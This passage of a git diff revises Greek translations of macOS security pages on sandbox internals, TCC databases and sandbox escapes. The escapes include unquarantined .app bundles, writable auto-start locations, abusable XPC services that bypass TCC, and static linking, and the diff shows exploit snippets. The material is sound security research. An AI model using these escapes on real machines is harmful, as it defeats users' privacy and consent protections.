μνήμη dyld και αν ναι θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης. +Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που έχει συνδεθεί με **`mmap`** και θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι, θα επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι, θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης. Επιπλέον, από τους εκατοντάδες hooks που χρησιμοποιεί το Sandbox, υπάρχουν 3 που είναι ιδιαίτερα ενδιαφέροντα: - `mpo_proc_check_for`: Εφαρμόζει το προφίλ αν χρειάζεται και αν δεν έχει εφαρμοστεί προηγουμένως. - `mpo_vnode_check_exec`: Καλείται όταν μια διαδικασία φορτώνει το σχετικό δυαδικό, στη συνέχεια εκτελείται έλεγχος προφίλ και επίσης έλεγχος που απαγορεύει τις εκτελέσεις SUID/SGID. -- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το μεγαλύτερο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports... +- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το πιο μακρύ καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμα. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports... Σημειώστε ότι **`_cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate_internal`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** που εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια στοιχεία του **SIP** στο macOS. ## Sandboxd -Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελεί την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG. +Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελείται εκθέτοντας την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύοντας την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index ea8e67dfc..3325ab652 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -10,25 +10,25 @@ Ο μεταγλωττιστής θα συνδέσει το `/usr/lib/libSystem.B.dylib` με το δυαδικό αρχείο. -Στη συνέχεια, **`libSystem.B`** θα καλεί άλλες πολλές συναρτήσεις μέχρι να στείλει η **`xpc_pipe_routine`** τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Ο Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα μπει σε καραντίνα.\ +Στη συνέχεια, **`libSystem.B`** θα καλεί πολλές άλλες συναρτήσεις μέχρι το **`xpc_pipe_routine`** να στείλει τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Το Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα τεθεί σε καραντίνα.\ Τέλος, το sandbox θα ενεργοποιηθεί με μια κλήση στο **`__sandbox_ms`** που θα καλέσει το **`__mac_syscall`**. ## Possible Bypasses ### Bypassing quarantine attribute -**Τα αρχεία που δημιουργούνται από διαδικασίες που είναι σε sandbox** προστίθεται το **quarantine attribute** για να αποτραπεί η διαφυγή από το sandbox. Ωστόσο, αν καταφέρετε να **δημιουργήσετε έναν φάκελο `.app` χωρίς το quarantine attribute** μέσα σε μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να κάνετε το δυαδικό αρχείο της εφαρμογής να δείχνει στο **`/bin/bash`** και να προσθέσετε κάποιες μεταβλητές περιβάλλοντος στο **plist** για να εκμεταλλευτείτε το **`open`** για να **εκκινήσετε τη νέα εφαρμογή χωρίς sandbox**. +**Τα αρχεία που δημιουργούνται από διαδικασίες που είναι σε sandbox** προστίθεται το **χαρακτηριστικό καραντίνας** για να αποτραπεί η διαφυγή από το sandbox. Ωστόσο, αν καταφέρετε να **δημιουργήσετε έναν φάκελο `.app` χωρίς το χαρακτηριστικό καραντίνας** μέσα σε μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να κάνετε το δυαδικό αρχείο της εφαρμογής να δείχνει στο **`/bin/bash`** και να προσθέσετε κάποιες μεταβλητές περιβάλλοντος στο **plist** για να εκμεταλλευτείτε το **`open`** για να **εκκινήσετε τη νέα εφαρμογή χωρίς sandbox**. Αυτό έγινε στο [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** > [!CAUTION] -> Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε **`.app`** χωρίς το quarantine attribute, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο **ελέγχει** το **quarantine** attribute στον **φάκελο `.app`** και στο **κύριο εκτελέσιμο** (και θα δείξουμε το κύριο εκτελέσιμο στο **`/bin/bash`**). +> Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε **`.app`** χωρίς χαρακτηριστικό καραντίνας, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο **ελέγχει** το **χαρακτηριστικό καραντίνας** στον **φάκελο `.app`** και στο **κύριο εκτελέσιμο** (και θα δείξουμε το κύριο εκτελέσιμο στο **`/bin/bash`**). > -> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **`.app`** πακέτα εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας). +> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα χαρακτηριστικό καραντίνας με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **πακέτα .app** εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας). ### Abusing Open functionality -Στα [**τελευταία παραδείγματα παράκαμψης sandbox του Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) μπορεί να εκτιμηθεί πώς η λειτουργικότητα **`open`** της γραμμής εντολών θα μπορούσε να εκμεταλλευτεί για να παρακαμφθεί το sandbox. +Στα [**τελευταία παραδείγματα παράκαμψης του Word sandbox**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) μπορεί να εκτιμηθεί πώς η λειτουργικότητα cli του **`open`** θα μπορούσε να εκμεταλλευτεί για να παρακάμψει το sandbox. {{#ref}} macos-office-sandbox-bypasses.md @@ -41,7 +41,7 @@ macos-office-sandbox-bypasses.md ### Abusing Auto Start Locations -Αν μια διαδικασία που είναι σε sandbox μπορεί να **γράψει** σε ένα μέρος όπου **αργότερα μια εφαρμογή χωρίς sandbox θα εκτελέσει το δυαδικό αρχείο**, θα μπορέσει να **διαφύγει απλά τοποθετώντας** εκεί το δυαδικό αρχείο. Ένα καλό παράδειγμα αυτού του είδους τοποθεσιών είναι το `~/Library/LaunchAgents` ή το `/System/Library/LaunchDaemons`. +Αν μια διαδικασία που είναι σε sandbox μπορεί να **γράψει** σε ένα μέρος όπου **αργότερα μια εφαρμογή χωρίς sandbox θα εκτελέσει το δυαδικό αρχείο**, θα είναι σε θέση να **διαφύγει απλά τοποθετώντας** εκεί το δυαδικό αρχείο. Ένα καλό παράδειγμα αυτού του είδους τοποθεσιών είναι το `~/Library/LaunchAgents` ή το `/System/Library/LaunchDaemons`. Για αυτό μπορεί να χρειαστείτε ακόμα και **2 βήματα**: Να κάνετε μια διαδικασία με ένα **πιο επιεική sandbox** (`file-read*`, `file-write*`) να εκτελέσει τον κώδικά σας που θα γράψει σε ένα μέρος όπου θα **εκτελείται χωρίς sandbox**. @@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md ### Abusing other processes -Αν από τη διαδικασία sandbox μπορείτε να **συμβιβάσετε άλλες διαδικασίες** που εκτελούνται σε λιγότερο περιορισμένα sandbox (ή καθόλου), θα μπορέσετε να διαφύγετε στα sandbox τους: +Αν από τη διαδικασία sandbox είστε σε θέση να **συμβιβάσετε άλλες διαδικασίες** που εκτελούνται σε λιγότερο περιοριστικά sandbox (ή καθόλου), θα είστε σε θέση να διαφύγετε στα sandbox τους: {{#ref}} ../../../macos-proces-abuse/ @@ -61,11 +61,11 @@ macos-office-sandbox-bypasses.md ### Available System and User Mach services -Το sandbox επιτρέπει επίσης την επικοινωνία με ορισμένες **Mach υπηρεσίες** μέσω XPC που ορίζονται στο προφίλ `application.sb`. Αν μπορείτε να **εκμεταλλευτείτε** μία από αυτές τις υπηρεσίες, μπορεί να είστε σε θέση να **διαφύγετε από το sandbox**. +Το sandbox επιτρέπει επίσης την επικοινωνία με ορισμένες **υπηρεσίες Mach** μέσω XPC που ορίζονται στο προφίλ `application.sb`. Αν μπορείτε να **εκμεταλλευτείτε** μία από αυτές τις υπηρεσίες, μπορεί να είστε σε θέση να **διαφύγετε από το sandbox**. -Όπως αναφέρεται σε [αυτή την ανάλυση](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), οι πληροφορίες σχετικά με τις Mach υπηρεσίες αποθηκεύονται στο `/System/Library/xpc/launchd.plist`. Είναι δυνατόν να βρείτε όλες τις Mach υπηρεσίες του Συστήματος και του Χρήστη αναζητώντας μέσα σε αυτό το αρχείο για `System` και `User`. +Όπως αναφέρεται σε [αυτή την ανάλυση](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), οι πληροφορίες σχετικά με τις υπηρεσίες Mach αποθηκεύονται στο `/System/Library/xpc/launchd.plist`. Είναι δυνατόν να βρείτε όλες τις υπηρεσίες Mach του Συστήματος και του Χρήστη αναζητώντας μέσα σε αυτό το αρχείο για `System` και `User`. -Επιπλέον, είναι δυνατόν να ελέγξετε αν μια Mach υπηρεσία είναι διαθέσιμη σε μια εφαρμογή που είναι σε sandbox καλώντας το `bootstrap_look_up`: +Επιπλέον, είναι δυνατόν να ελέγξετε αν μια υπηρεσία Mach είναι διαθέσιμη σε μια εφαρμογή που είναι σε sandbox καλώντας το `bootstrap_look_up`: ```objectivec void checkService(const char *serviceName) { mach_port_t service_port = MACH_PORT_NULL; @@ -90,7 +90,7 @@ checkService(serviceName.UTF8String); ``` ### Διαθέσιμες υπηρεσίες PID Mach -Αυτές οι υπηρεσίες Mach χρησιμοποιήθηκαν αρχικά για να [ξεφύγουν από το sandbox σε αυτή την αναφορά](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Μέχρι τότε, **όλες οι υπηρεσίες XPC που απαιτούνταν** από μια εφαρμογή και το πλαίσιο της ήταν ορατές στο πεδίο PID της εφαρμογής (αυτές είναι οι υπηρεσίες Mach με `ServiceType` ως `Application`). +Αυτές οι υπηρεσίες Mach χρησιμοποιήθηκαν αρχικά για [να ξεφύγουν από το sandbox σε αυτή την αναφορά](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Τότε, **όλες οι υπηρεσίες XPC που απαιτούνται** από μια εφαρμογή και το πλαίσιο της ήταν ορατές στο πεδίο PID της εφαρμογής (αυτές είναι οι υπηρεσίες Mach με `ServiceType` ως `Application`). Για να **επικοινωνήσετε με μια υπηρεσία XPC του PID Domain**, χρειάζεται απλώς να την καταχωρίσετε μέσα στην εφαρμογή με μια γραμμή όπως: ```objectivec @@ -130,7 +130,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error); ``` #### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc -Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη επιστρέφοντας πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` ουσιαστικά επέτρεπε να υποδείξει τη διαδρομή σε έναν φάκελο για συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP. +Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη να επιστρέφει πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` βασικά επέτρεπε να υποδεικνύει τη διαδρομή σε έναν φάκελο προς συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP. Επομένως, είναι δυνατό να δημιουργηθεί μια ψεύτικη δομή φακέλου εφαρμογής, να συμπιεστεί, στη συνέχεια να αποσυμπιεστεί και να εκτελεστεί για να ξεφύγει από το sandbox καθώς τα νέα αρχεία δεν θα έχουν το χαρακτηριστικό καραντίνας. @@ -173,7 +173,7 @@ break; ``` #### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc -Αυτή η υπηρεσία XPC επιτρέπει την παροχή πρόσβασης ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:` που δέχεται οποιαδήποτε σύνδεση. Καθώς η υπηρεσία XPC έχει FDA, είναι δυνατόν να καταχραστούν αυτές οι άδειες για να παρακαμφθεί εντελώς το TCC. +Αυτή η υπηρεσία XPC επιτρέπει την παροχή δικαιωμάτων ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:`, η οποία δέχεται οποιαδήποτε σύνδεση. Δεδομένου ότι η υπηρεσία XPC έχει FDA, είναι δυνατό να καταχραστεί αυτές τις άδειες για να παρακαμφθεί εντελώς το TCC. Η εκμετάλλευση ήταν: ```objectivec @@ -207,7 +207,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); [**Αυτή η έρευνα**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ανακάλυψε 2 τρόπους για να παρακαμφθεί το Sandbox. Επειδή το sandbox εφαρμόζεται από το userland όταν η βιβλιοθήκη **libSystem** φορτώνεται. Αν ένα δυαδικό αρχείο μπορούσε να αποφύγει τη φόρτωσή του, δεν θα υποβαλλόταν ποτέ σε sandbox: -- Αν το δυαδικό αρχείο ήταν **εντελώς στατικά συγκεντρωμένο**, θα μπορούσε να αποφύγει τη φόρτωση αυτής της βιβλιοθήκης. +- Αν το δυαδικό αρχείο ήταν **εντελώς στατικά συγκεντρωμένο**, θα μπορούσε να αποφύγει τη φόρτωσή αυτής της βιβλιοθήκης. - Αν το **δυαδικό αρχείο δεν χρειαζόταν να φορτώσει καμία βιβλιοθήκη** (επειδή ο σύνδεσμος είναι επίσης στο libSystem), δεν θα χρειαστεί να φορτώσει το libSystem. ### Shellcodes @@ -219,7 +219,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur ``` ### Όχι κληρονομούμενοι περιορισμοί -Όπως εξηγήθηκε στο **[μπόνους αυτού του κειμένου](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως: +Όπως εξηγήθηκε στο **[bonus of this writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως: ``` (version 1) (allow default) @@ -250,6 +250,7 @@ open /tmp/poc.app Για περισσότερες πληροφορίες σχετικά με το **Interposting** ελέγξτε: + {{#ref}} ../../../macos-proces-abuse/macos-function-hooking.md {{#endref}} @@ -372,7 +373,7 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli codesign -s --entitlements entitlements.xml sand ``` > [!CAUTION] -> Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο η **Sandbox δεν θα επιτρέψει**.\ +> Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο **η Sandbox δεν θα επιτρέψει**.\ > Δημιουργήστε ένα αρχείο εκεί καθώς μόλις παρακαμφθεί η Sandbox, θα μπορεί να το διαβάσει: > > ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index e0cc94461..b710be7b0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,17 +4,17 @@ ## **Βασικές Πληροφορίες** -**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των αδειών εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες δυνατότητες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση σε δίσκο**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν από την παροχή πρόσβασης στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του. +**TCC (Διαφάνεια, Συναίνεση και Έλεγχος)** είναι ένα πρωτόκολλο ασφαλείας που επικεντρώνεται στη ρύθμιση των δικαιωμάτων εφαρμογών. Ο κύριος ρόλος του είναι να προστατεύει ευαίσθητες δυνατότητες όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρης πρόσβαση σε δίσκο**. Απαιτώντας ρητή συναίνεση από τον χρήστη πριν από την παροχή πρόσβασης στην εφαρμογή σε αυτά τα στοιχεία, το TCC ενισχύει την ιδιωτικότητα και τον έλεγχο του χρήστη πάνω στα δεδομένα του. Οι χρήστες συναντούν το TCC όταν οι εφαρμογές ζητούν πρόσβαση σε προστατευμένες δυνατότητες. Αυτό είναι ορατό μέσω μιας προτροπής που επιτρέπει στους χρήστες να **εγκρίνουν ή να απορρίψουν την πρόσβαση**. Επιπλέον, το TCC διευκολύνει άμεσες ενέργειες του χρήστη, όπως **σύρσιμο και απόθεση αρχείων σε μια εφαρμογή**, για να παραχωρήσει πρόσβαση σε συγκεκριμένα αρχεία, διασφαλίζοντας ότι οι εφαρμογές έχουν πρόσβαση μόνο σε ό,τι έχει ρητά επιτραπεί. ![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) -**TCC** διαχειρίζεται από το **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`). +**TCC** διαχειρίζεται από τον **daemon** που βρίσκεται στο `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` και ρυθμίζεται στο `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (καταχωρώντας την υπηρεσία mach `com.apple.tccd.system`). -Υπάρχει ένα **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, ορισμένο στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`. +Υπάρχει μια **tccd σε λειτουργία χρήστη** που εκτελείται ανά χρήστη που έχει συνδεθεί, καθορισμένη στο `/System/Library/LaunchAgents/com.apple.tccd.plist`, καταχωρώντας τις υπηρεσίες mach `com.apple.tccd` και `com.apple.usernotifications.delegate.com.apple.tccd`. -Εδώ μπορείτε να δείτε το tccd να εκτελείται ως σύστημα και ως χρήστης: +Εδώ μπορείτε να δείτε την tccd να εκτελείται ως σύστημα και ως χρήστης: ```bash ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system @@ -27,25 +27,25 @@ ps -ef | grep tcc Οι επιτρεπόμενες/απαγορευμένες ενέργειες αποθηκεύονται σε ορισμένες βάσεις δεδομένων TCC: - Η βάση δεδομένων σε επίπεδο συστήματος βρίσκεται στο **`/Library/Application Support/com.apple.TCC/TCC.db`**. -- Αυτή η βάση δεδομένων είναι **SIP προστατευμένη**, οπότε μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν. +- Αυτή η βάση δεδομένων είναι **προστατευμένη από SIP**, οπότε μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν. - Η βάση δεδομένων TCC του χρήστη **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** για προτιμήσεις ανά χρήστη. -- Αυτή η βάση δεδομένων είναι προστατευμένη, οπότε μόνο διαδικασίες με υψηλά δικαιώματα TCC όπως η Πρόσβαση σε Όλο το Δίσκο μπορούν να γράψουν σε αυτήν (αλλά δεν είναι προστατευμένη από SIP). +- Αυτή η βάση δεδομένων είναι προστατευμένη, οπότε μόνο διαδικασίες με υψηλά δικαιώματα TCC όπως η Πρόσβαση σε Όλο τον Δίσκο μπορούν να γράψουν σε αυτήν (αλλά δεν προστατεύεται από SIP). > [!WARNING] -> Οι προηγούμενες βάσεις δεδομένων είναι επίσης **TCC προστατευμένες για πρόσβαση ανάγνωσης**. Έτσι, **δεν θα μπορείτε να διαβάσετε** τη βάση δεδομένων TCC του κανονικού σας χρήστη εκτός αν είναι από μια διαδικασία με δικαιώματα TCC. +> Οι προηγούμενες βάσεις δεδομένων είναι επίσης **προστατευμένες από TCC για πρόσβαση ανάγνωσης**. Έτσι, **δεν θα μπορείτε να διαβάσετε** τη βάση δεδομένων TCC του κανονικού σας χρήστη εκτός αν είναι από μια διαδικασία με δικαιώματα TCC. > > Ωστόσο, θυμηθείτε ότι μια διαδικασία με αυτά τα υψηλά δικαιώματα (όπως **FDA** ή **`kTCCServiceEndpointSecurityClient`**) θα μπορεί να γράψει στη βάση δεδομένων TCC των χρηστών. - Υπάρχει μια **τρίτη** βάση δεδομένων TCC στο **`/var/db/locationd/clients.plist`** για να υποδείξει τους πελάτες που επιτρέπεται να **προσεγγίζουν τις υπηρεσίες τοποθεσίας**. -- Το SIP προστατευμένο αρχείο **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την **τοποθεσία** όλων των **έγκυρων βάσεων δεδομένων TCC**. -- Το SIP προστατευμένο αρχείο **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες άδειες που έχουν παραχωρηθεί από το TCC. -- Το SIP προστατευμένο αρχείο **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά αναγνώσιμο από οποιονδήποτε) είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν εξαίρεση TCC. +- Το αρχείο που προστατεύεται από SIP **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την **τοποθεσία** όλων των **έγκυρων βάσεων δεδομένων TCC**. +- Το αρχείο που προστατεύεται από SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες άδειες που έχουν παραχωρηθεί από TCC. +- Το αρχείο που προστατεύεται από SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά αναγνώσιμο από οποιονδήποτε) είναι μια λίστα επιτρεπόμενων εφαρμογών που απαιτούν εξαίρεση TCC. > [!TIP] -> Η βάση δεδομένων TCC στο **iOS** είναι στο **`/private/var/mobile/Library/TCC/TCC.db`**. +> Η βάση δεδομένων TCC στο **iOS** βρίσκεται στο **`/private/var/mobile/Library/TCC/TCC.db`**. -> [!NOTE] -> Το **UI του κέντρου ειδοποιήσεων** μπορεί να κάνει **αλλαγές στη βάση δεδομένων TCC του συστήματος**: +> [!TIP] +> Η **διεπαφή του κέντρου ειδοποιήσεων** μπορεί να κάνει **αλλαγές στη βάση δεδομένων TCC του συστήματος**: > > ```bash > codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd @@ -104,9 +104,9 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; > [!TIP] > Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέψει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει την άδεια). -- Η **`service`** είναι η συμβολοσειρά αναπαράστασης της άδειας TCC -- Η **`client`** είναι το **bundle ID** ή η **διαδρομή προς το δυαδικό** με τις άδειες -- Η **`client_type`** υποδεικνύει αν είναι Αναγνωριστικό Πακέτου(0) ή απόλυτη διαδρομή(1) +- Η **`service`** είναι η συμβολοσειρά αναπαράστασης της **άδειας** TCC +- Ο **`client`** είναι το **bundle ID** ή η **διαδρομή προς το δυαδικό** με τις άδειες +- Ο **`client_type`** υποδεικνύει αν είναι Αναγνωριστικό Bundle(0) ή απόλυτη διαδρομή(1)
@@ -186,7 +186,7 @@ tccutil reset All ``` ### TCC Έλεγχοι Υπογραφής -Η TCC **βάση δεδομένων** αποθηκεύει το **Bundle ID** της εφαρμογής, αλλά επίσης **αποθηκεύει** **πληροφορίες** σχετικά με την **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητά να χρησιμοποιήσει μια άδεια είναι η σωστή. +Η βάση δεδομένων TCC **αποθηκεύει** το **Bundle ID** της εφαρμογής, αλλά επίσης **αποθηκεύει** **πληροφορίες** σχετικά με την **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητά να χρησιμοποιήσει μια άδεια είναι η σωστή. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -203,12 +203,12 @@ csreq -t -r /tmp/telegram_csreq.bin ### Δικαιώματα & Άδειες TCC -Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρημένη πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\ +Οι εφαρμογές **δεν χρειάζεται μόνο** να **ζητούν** και να έχουν **παραχωρηθεί πρόσβαση** σε ορισμένους πόρους, αλλά πρέπει επίσης να **έχουν τα σχετικά δικαιώματα**.\ Για παράδειγμα, το **Telegram** έχει το δικαίωμα `com.apple.security.device.camera` για να ζητήσει **πρόσβαση στην κάμερα**. Μια **εφαρμογή** που **δεν έχει** αυτό το **δικαίωμα δεν θα μπορεί** να έχει πρόσβαση στην κάμερα (και ο χρήστης δεν θα ρωτηθεί καν για τις άδειες). Ωστόσο, για να **έχουν πρόσβαση** οι εφαρμογές σε **ορισμένους φακέλους χρηστών**, όπως `~/Desktop`, `~/Downloads` και `~/Documents`, **δεν χρειάζεται** να έχουν κανένα συγκεκριμένο **δικαίωμα.** Το σύστημα θα διαχειριστεί διαφανώς την πρόσβαση και θα **ζητήσει από τον χρήστη** όπως απαιτείται. -Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι **δεν θα δημιουργήσουν ποτέ αναδυόμενο παράθυρο**, **ούτε** θα εμφανιστούν σε καμία από τις **βάσεις δεδομένων TCC.** Για παράδειγμα: +Οι εφαρμογές της Apple **δεν θα δημιουργήσουν προτροπές**. Περιέχουν **προπαραχωρημένα δικαιώματα** στη λίστα **δικαιωμάτων** τους, που σημαίνει ότι 